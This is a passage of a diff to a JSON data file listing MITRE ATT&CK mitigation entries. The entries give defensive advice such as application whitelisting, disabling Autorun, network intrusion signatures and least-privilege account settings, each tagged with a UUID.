"meta": { - "uuid": "9e57c770-5a39-49a2-bb91-253ba629e3ac" - }, - "value": "Security Support Provider Mitigation" - }, - { - "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about processes, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", - "meta": { - "uuid": "f6469191-1814-4dbe-a081-2a6daf83a10b" - }, - "value": "Process Discovery Mitigation" - }, - { - "description": "Identify unnecessary system utilities or potentially malicious software that may be used to deobfuscate or decode files or information, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", - "meta": { - "uuid": "8e354454-7ec6-4fc5-a070-e16dee5c69c0" - }, - "value": "Deobfuscate/Decode Files or Information Mitigation" - }, - { - "description": "Disable Autorun if it is unnecessary.[[CiteRef::Microsoft Disable Autorun]] Disallow or restrict removable media at an organizational policy level if it is not required for business operations.[[CiteRef::TechNet Removable Media Control]]\n\nIdentify potentially malicious software that may be used to infect removable media or may result from tainted removable media, and audit and/or block it by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", - "meta": { - "uuid": "effb83a0-ead1-4b36-b7f6-b7bdf9c4616e" - }, - "value": "Replication Through Removable Media Mitigation" - }, - { - "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]", - "meta": { - "uuid": "1c0711c8-2a73-48a1-893d-ff88bcd23824" - }, - "value": "Scheduled Transfer Mitigation" - }, - { - "description": "Prevent adversary access to privileged accounts necessary to install a hypervisor.", - "meta": { - "uuid": "2c3ce852-06a2-40ee-8fe6-086f6402a739" - }, - "value": "Hypervisor Mitigation" - }, - { - "description": "Encryption and off-system storage of sensitive information may be one way to mitigate collection of files, but may not stop an adversary from acquiring the information if an intrusion persists over a long period of time and the adversary is able to discover and access the data through other means. A keylogger installed on a system may be able to intercept passwords through [[Technique/T1056|Input Capture]] and be used to decrypt protected documents that an adversary may have collected. Strong passwords should be used to prevent offline cracking of encrypted documents through [[Technique/T1110|Brute Force]] techniques.\n\nIdentify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to collect files and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", - "meta": { - "uuid": "8bd1ae32-a686-48f4-a6f8-470287f76152" - }, - "value": "Automated Collection Mitigation" - }, - { - "description": "Disable Autorun if it is unnecessary.[[CiteRef::Microsoft Disable Autorun]] Disallow or restrict removable media at an organizational policy level if they are not required for business operations.[[CiteRef::TechNet Removable Media Control]]", - "meta": { - "uuid": "e547ed6a-f1ca-40df-8613-2ce27927f145" - }, - "value": "Exfiltration Over Physical Medium Mitigation" - }, - { - "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]", - "meta": { - "uuid": "fcbe8424-eb3e-4794-b76d-e743f5a49b8b" - }, - "value": "Data Encoding Mitigation" - }, - { - "description": "Update software regularly. Install software in write-protected locations. Use the program sxstrace.exe that is included with Windows along with manual inspection to check manifest files for side-loading vulnerabilities in software.", - "meta": { - "uuid": "7a14d974-f3d9-4e4e-9b7d-980385762908" - }, - "value": "DLL Side-Loading Mitigation" - }, - { - "description": "Identify potentially malicious software that may contain rootkit functionality, and audit and/or block it by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", - "meta": { - "uuid": "95ddb356-7ba0-4bd9-a889-247262b8946f" - }, - "value": "Rootkit Mitigation" - }, - { - "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire network share information, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", - "meta": { - "uuid": "015ba1e5-0da6-41bc-8638-f523e6523f9d" - }, - "value": "Network Share Discovery Mitigation" - }, - { - "description": "Identify and block unnecessary system utilities or potentially malicious software that may be used to modify the Registry by using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", - "meta": { - "uuid": "ed202147-4026-4330-b5bd-1e8dfa8cf7cc" - }, - "value": "Modify Registry Mitigation" - }, - { - "description": "Benign software uses legitimate processes to gather system time. Efforts should be focused on preventing unwanted or unknown code from executing on a system. Some common tools, such as net.exe, may be blocked by policy to prevent common ways of acquiring remote system time.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to acquire system time information, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", - "meta": { - "uuid": "82d8e990-c901-4aed-8596-cc002e7eb307" - }, - "value": "System Time Discovery Mitigation" + "value": "System Network Configuration Discovery Mitigation" }, { "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about network connections, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", @@ -920,137 +101,53 @@ "value": "System Network Connections Discovery Mitigation" }, { - "description": "Applications with known vulnerabilities or known shell escapes should not have the setuid or setgid bits set to reduce potential damage if an application is compromised.", + "description": "Direct mitigation of this technique may not be recommended for a particular environment since COM objects are a legitimate part of the operating system and installed software. Blocking COM object changes may have unforeseen side effects to legitimate functionality.\n\nInstead, identify and block potentially malicious software that may execute, or be executed by, this technique using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", "meta": { - "uuid": "658ca7e1-d263-464d-ae76-8cae670d0e54" + "uuid": "ff5d862a-ae6b-4833-8c15-e235d654d28e" }, - "value": "Setuid and Setgid Mitigation" + "value": "Component Object Model Hijacking Mitigation" }, { - "description": "Preventing users from deleting or writing to certain files can stop adversaries from maliciously altering their ~/.bash_history files. Additionally, making these environment variables readonly can make sure that the history is preserved [[CiteRef:: Securing bash history]].", + "description": "Disable Autorun if it is unnecessary.[[CiteRef::Microsoft Disable Autorun]] Disallow or restrict removable media at an organizational policy level if they are not required for business operations.[[CiteRef::TechNet Removable Media Control]]", "meta": { - "uuid": "3a24df54-e15f-4fcd-819d-a5767944a94e" + "uuid": "b8d57b16-d8e2-428c-a645-1083795b3445" }, - "value": "Clear Command History Mitigation" + "value": "Communication Through Removable Media Mitigation" }, { - "description": "Blocking software based on screen capture functionality may be difficult, and there may be legitimate software that performs those actions. Instead, identify potentially malicious software that may have functionality to acquire screen captures, and audit and/or block it by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "description": "Follow best practices for mitigation of activity related to establishing [[Technique/T1077|Windows Admin Shares]]. \n\nIdentify unnecessary system utilities or potentially malicious software that may be used to leverage network shares, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", "meta": { - "uuid": "51b37302-b844-4c08-ac98-ae6955ed1f55" + "uuid": "94e95eeb-7cdb-4bd7-afba-f32fda303dbb" }, - "value": "Screen Capture Mitigation" + "value": "Network Share Connection Removal Mitigation" }, { - "description": "Do not reuse local administrator account passwords across systems. Ensure password complexity and uniqueness such that the passwords cannot be cracked or guessed. Deny remote use of local admin credentials to log into systems. Do not allow domain user accounts to be in the local Administrators group multiple systems.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to leverage SMB and the Windows admin shares, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "description": "File system activity is a common part of an operating system, so it is unlikely that mitigation would be appropriate for this technique. It may still be beneficial to identify and block unnecessary system utilities or potentially malicious software by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", "meta": { - "uuid": "308855d1-078b-47ad-8d2a-8f9b2713ffb5" + "uuid": "2ace01f8-67c8-43eb-b7b1-a7b9f1fe67e1" }, - "value": "Windows Admin Shares Mitigation" + "value": "File and Directory Discovery Mitigation" }, { - "description": "Prevent files from having a trailing space after the extension.", + "description": "Mitigation of this technique may be difficult and unadvised due to the the legitimate use of hidden files and directories.", "meta": { - "uuid": "e6be0c76-b484-431c-a0b5-4a2ec0357fa7" + "uuid": "5448330d-7911-4604-9410-7e6a7dcec1c9" }, - "value": "Space after Filename Mitigation" + "value": "Hidden Files and Directories Mitigation" }, { - "description": "Use auditing tools capable of detecting privilege and service abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations. Toolkits like the PowerSploit framework contain the PowerUp modules that can be used to explore systems for [[Privilege Escalation]] weaknesses.[[CiteRef::Powersploit]]\n\nIdentify and block potentially malicious software that may be executed through service abuse by using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] that are capable of auditing and/or blocking unknown programs.", + "description": "Use auditing tools capable of detecting DLL search order hijacking opportunities on systems within an enterprise and correct them. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for DLL hijacking weaknesses.[[CiteRef::Powersploit]]\n\nIdentify and block potentially malicious software that may be executed through search order hijacking by using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] that are capable of auditing and/or blocking unknown DLLs.", "meta": { - "uuid": "fe0aeb41-1a51-4152-8467-628256ea6adf" + "uuid": "96913243-2b5e-4483-a65c-bb152ddd2f04" }, - "value": "Modify Existing Service Mitigation" + "value": "DLL Search Order Hijacking Mitigation" }, { - "description": "Evaluate the security of third-party software that could be used to deploy or execute programs. Ensure that access to management systems for deployment systems is limited, monitored, and secure. Have a strict approval policy for use of deployment systems.\n\nGrant access to application deployment systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multifactor authentication. Verify that account credentials that may be used to access deployment systems are unique and not used throughout the enterprise network. Patch deployment systems regularly to prevent potential remote access through [[Technique/T1068|Exploitation of Vulnerability]]. \n\nIf the application deployment system can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the application deployment system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]", "meta": { - "uuid": "160af6af-e733-4b6a-a04a-71c620ac0930" + "uuid": "ba06d68a-4891-4eb5-b634-152e05ec60ee" }, - "value": "Third-party Software Mitigation" - }, - { - "description": "Mitigating this technique specifically may be difficult as it requires fine-grained API control. Efforts should be focused on preventing unwanted or unknown code from executing on a system.\n\nIdentify and block potentially malicious software that may be used to capture video and images by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", - "meta": { - "uuid": "d9f4b5fa-2a39-4bdf-b40a-ea998933cd6d" - }, - "value": "Video Capture Mitigation" - }, - { - "description": "HTTP Public Key Pinning (HPKP) is one method to mitigate potential man-in-the-middle situations where and adversary uses a mis-issued or fraudulent certificate to intercept encrypted communications by enforcing use of an expected certificate.[[CiteRef::Wikipedia HPKP]]", - "meta": { - "uuid": "23061b40-a7b6-454f-8950-95d5ff80331c" - }, - "value": "Install Root Certificate Mitigation" - }, - { - "description": "Set account lockout policies after a certain number of failed login attempts to prevent passwords from being guessed. Use multifactor authentication. Follow best practices for mitigating access to [[Technique/T1078|Valid Accounts]]", - "meta": { - "uuid": "4a99fecc-680b-448e-8fe7-8144c60d272c" - }, - "value": "Brute Force Mitigation" - }, - { - "description": "Use of encryption provides an added layer of security to sensitive information sent over email. Encryption using public key cryptography requires the adversary to obtain the private certificate along with an encryption key to decrypt messages.\n\nUse of two-factor authentication for public-facing webmail servers is also a recommended best practice to minimize the usefulness of user names and passwords to adversaries.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to collect email data files or access the corporate email server, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", - "meta": { - "uuid": "383caaa3-c46a-4f61-b2e3-653eb132f0e7" - }, - "value": "Email Collection Mitigation" - }, - { - "description": "Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, virtualization, and exploit prevention tools such as the Microsoft Enhanced Mitigation Experience Toolkit.[[CiteRef::SRD EMET]]", - "meta": { - "uuid": "92e6d080-ca3f-4f95-bc45-172a32c4e502" - }, - "value": "Exploitation of Vulnerability Mitigation" - }, - { - "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware or unusual data transfer over known tools and protocols like FTP can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]", - "meta": { - "uuid": "cdecc44a-1dbf-4c1f-881c-f21e3f47272a" - }, - "value": "Remote File Copy Mitigation" - }, - { - "description": "Follow best practices for network firewall configurations to allow only necessary ports and traffic to enter and exit the network. For example, if services like FTP are not required for sending information outside of a network, then block FTP-related ports at the network perimeter. Enforce proxies and use dedicated servers for services such as DNS and only allow those systems to communicate over respective ports/protocols, instead of all systems within a network.[[CiteRef::TechNet Firewall Design]] These actions will help reduce command and control and exfiltration path opportunities.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]", - "meta": { - "uuid": "0e5bdf42-a7f7-4d16-a074-4915bd262f80" - }, - "value": "Exfiltration Over Alternative Protocol Mitigation" - }, - { - "description": "Disable the RDP service if it is unnecessary, remove unnecessary accounts and groups from Remote Desktop Users groups, and enable firewall rules to block RDP traffic between network security zones. Audit the Remote Desktop Users group membership regularly. Remove the local Administrators group from the list of groups allowed to log in through RDP. Limit remote user permissions if remote access is necessary. Use remote desktop gateways and multifactor authentication for remote logins.[[CiteRef::Berkley Secure]]", - "meta": { - "uuid": "53b3b027-bed3-480c-9101-1247047d0fe6" - }, - "value": "Remote Desktop Protocol Mitigation" - }, - { - "description": "Firewalls and Web proxies can be used to enforce external network communication policy. It may be difficult for an organization to block particular services because so many of them are commonly used during the course of business.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol or encoded commands used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]", - "meta": { - "uuid": "4689b9fb-dca4-473e-831b-34717ad50c97" - }, - "value": "Web Service Mitigation" - }, - { - "description": "Use network intrusion detection/prevention systems to detect and prevent remote service scans. Ensure that unnecessary ports and services are closed and proper network segmentation is followed to protect critical servers and devices.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to acquire information about services running on remote systems, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", - "meta": { - "uuid": "d256cb63-b021-4b4a-bb6d-1b42eea179a3" - }, - "value": "Network Service Scanning Mitigation" - }, - { - "description": "The password for the user's login keychain can be changed from the user's login password. This increases the complexity for an adversary because they need to know an additional password.", - "meta": { - "uuid": "2f3dc2b6-70f1-4a91-b77b-8de66b332b70" - }, - "value": "Keychain Mitigation" - }, - { - "description": "Disabling WMI services may cause system instability and should be evaluated to assess the impact to a network. By default, only administrators are allowed to connect remotely using WMI; restrict other users that are allowed to connect, or disallow all users from connecting remotely to WMI. Prevent credential overlap across systems of administrator and privileged accounts.[[CiteRef::FireEye WMI 2015]]", - "meta": { - "uuid": "0bc3ce00-83bc-4a92-a042-79ffbc6af259" - }, - "value": "Windows Management Instrumentation Event Subscription Mitigation" + "value": "Data Transfer Size Limits Mitigation" }, { "description": "Identify unnecessary system utilities or potentially malicious software that may be used to collect data from the local system, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", @@ -1059,6 +156,146 @@ }, "value": "Data from Local System Mitigation" }, + { + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to collect data from removable media, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "meta": { + "uuid": "39706d54-0d06-4a25-816a-78cc43455100" + }, + "value": "Data from Removable Media Mitigation" + }, + { + "description": "Directly mitigating module loads and API calls related to module loads will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying and correlated subsequent behavior to determine if it is the result of malicious activity.", + "meta": { + "uuid": "cfd2cd3b-93e7-4b3e-ab46-f8bcafdbdfcf" + }, + "value": "Execution through Module Load Mitigation" + }, + { + "description": "Disable Autorun if it is unnecessary.[[CiteRef::Microsoft Disable Autorun]] Disallow or restrict removable media at an organizational policy level if they are not required for business operations.[[CiteRef::TechNet Removable Media Control]]", + "meta": { + "uuid": "e547ed6a-f1ca-40df-8613-2ce27927f145" + }, + "value": "Exfiltration Over Physical Medium Mitigation" + }, + { + "description": "Identify potentially malicious software that may be used to access logical drives in this manner, and audit and/or block it by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "meta": { + "uuid": "902286b2-96cc-4dd7-931f-e7340c9961da" + }, + "value": "File System Logical Offsets Mitigation" + }, + { + "description": "Use auditing tools capable of detecting file system permissions abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service binary target path locations. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for service file system permissions weaknesses.[[CiteRef::Powersploit]]\n\nIdentify and block potentially malicious software that may be executed through abuse of file, directory, and service permissions by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] that are capable of auditing and/or blocking unknown programs. Deny execution from user directories such as file download directories and temp directories where able.[[CiteRef::Seclists Kanthak 7zip Installer]]\n\nTurn off UAC's privilege elevation for standard users and installer detection for all users by modifying registry key\n[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System]to automatically deny elevation requests, add: \"ConsentPromptBehaviorUser\"=dword:00000000; to disable installer detection, add: \"EnableInstallerDetection\"=dword:00000000.[[CiteRef::Seclists Kanthak 7zip Installer]]", + "meta": { + "uuid": "1022138b-497c-40e6-b53a-13351cbd4090" + }, + "value": "File System Permissions Weakness Mitigation" + }, + { + "description": "Automatically forward events to a log server or data repository to prevent conditions in which the adversary can locate and manipulate data on the local system. When possible, minimize time delay on event reporting to avoid prolonged storage on the local system. Protect generated event files that are stored locally with proper permissions and authentication. Obfuscate/encrypt event files locally and in transit to avoid giving feedback to an adversary.", + "meta": { + "uuid": "6cac62ce-550b-4793-8ee6-6a1b8836edb0" + }, + "value": "Indicator Removal on Host Mitigation" + }, + { + "description": "Mitigation is difficult in instances like this because the adversary may have access to the system through another channel and can learn what techniques or tools are blocked by resident defenses. Exercising best practices with configuration and security as well as ensuring that proper process is followed during investigation of potential compromise is essential to detecting a larger intrusion through discrete alerts.\n\nIdentify and block potentially malicious software that may be used by an adversary by using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "meta": { + "uuid": "4b998a71-7b8f-4dcc-8f3f-277f2e740271" + }, + "value": "Indicator Removal from Tools Mitigation" + }, + { + "description": "Disable Autorun if it is unnecessary.[[CiteRef::Microsoft Disable Autorun]] Disallow or restrict removable media at an organizational policy level if it is not required for business operations.[[CiteRef::TechNet Removable Media Control]]\n\nIdentify potentially malicious software that may be used to infect removable media or may result from tainted removable media, and audit and/or block it by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "meta": { + "uuid": "effb83a0-ead1-4b36-b7f6-b7bdf9c4616e" + }, + "value": "Replication Through Removable Media Mitigation" + }, + { + "description": "Identify and block potentially malicious software that may be executed through service abuse by using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] that are capable of auditing and/or blocking unknown programs.", + "meta": { + "uuid": "9378f139-10ef-4e4b-b679-2255a0818902" + }, + "value": "Service Registry Permissions Weakness Mitigation" + }, + { + "description": "Remove smart cards when not in use. Protect devices and services used to transmit and receive out-of-band codes.\n\nIdentify and block potentially malicious software that may be used to intercept 2FA credentials on a system by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "meta": { + "uuid": "e8d22ec6-2236-48de-954b-974d17492782" + }, + "value": "Two-Factor Authentication Interception Mitigation" + }, + { + "description": "Making these files immutable and only changeable by certain administrators will limit the ability for adversaries to easily create user level persistence.", + "meta": { + "uuid": "59603b01-063c-4ddc-b444-9545cda4d8ed" + }, + "value": ".bash_profile and .bashrc Mitigation" + }, + { + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about system users, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "meta": { + "uuid": "16f144e4-c780-4ed2-98b4-55d14e2dfa44" + }, + "value": "System Owner/User Discovery Mitigation" + }, + { + "description": "Grant access to application deployment systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multifactor authentication. Verify that account credentials that may be used to access deployment systems are unique and not used throughout the enterprise network. Patch deployment systems regularly to prevent potential remote access through [[Technique/T1068|Exploitation of Vulnerability]]. \n\nIf the application deployment system can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the application deployment system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.", + "meta": { + "uuid": "c88151a5-fe3f-4773-8147-d801587065a4" + }, + "value": "Application Deployment Software Mitigation" + }, + { + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "meta": { + "uuid": "25d5e1d8-c6fb-4735-bc57-115a21222f4b" + }, + "value": "Application Window Discovery Mitigation" + }, + { + "description": "It may be difficult or inadvisable to block access to EA. Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to hide information in EA by using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "meta": { + "uuid": "ac008435-af58-4f77-988a-c9b96c5920f5" + }, + "value": "NTFS Extended Attributes Mitigation" + }, + { + "description": "Mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior. Audit and/or block potentially malicious software by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "meta": { + "uuid": "56db6ccc-433d-4411-8383-c3fd7053e2c8" + }, + "value": "Execution through API Mitigation" + }, + { + "description": "Access tokens are an integral part of the security system within Windows and cannot be turned off. However, an attacker must already have administrator level access on the local system to make full use of this technique; be sure to restrict users and accounts to the least privileges they require to do their job.\n\nAny user can also spoof access tokens if they have legitimate credentials. Follow mitigation guidelines for preventing adversary use of [[Technique/T1078|Valid Accounts]].\n\nAlso limit opportunities for adversaries to increase privileges by limiting [[Privilege Escalation]] opportunities.", + "meta": { + "uuid": "9d16ddc5-abbf-438c-88f4-84a21a08adec" + }, + "value": "Access Token Manipulation Mitigation" + }, + { + "description": "Follow Office macro security best practices suitable for your environment. Disable Office VBA macros from executing. Even setting to disable with notification could enable unsuspecting users to execute potentially malicious macros.[[CiteRef::TechNet Office Macro Security]]\n\nFor the Office Test method, create the Registry key used to execute it and set the permissions to \"Read Control\" to prevent easy access to the key without administrator permissions or requiring [[Privilege Escalation]].[[CiteRef::Palo Alto Office Test Sofacy]]\n\nDisable Office add-ins. If they are required, follow best practices for securing them by requiring them to be signed and disabling user notification for allowing add-ins. For some add-ins types (WLL, VBA) additional mitigation is likely required as disabling add-ins in the Office Trust Center does not disable WLL nor does it prevent VBA code from executing.[[CiteRef::MRWLabs Office Persistence Add-ins]]", + "meta": { + "uuid": "a0714f91-88ca-4b18-8094-c40849d314c6" + }, + "value": "Office 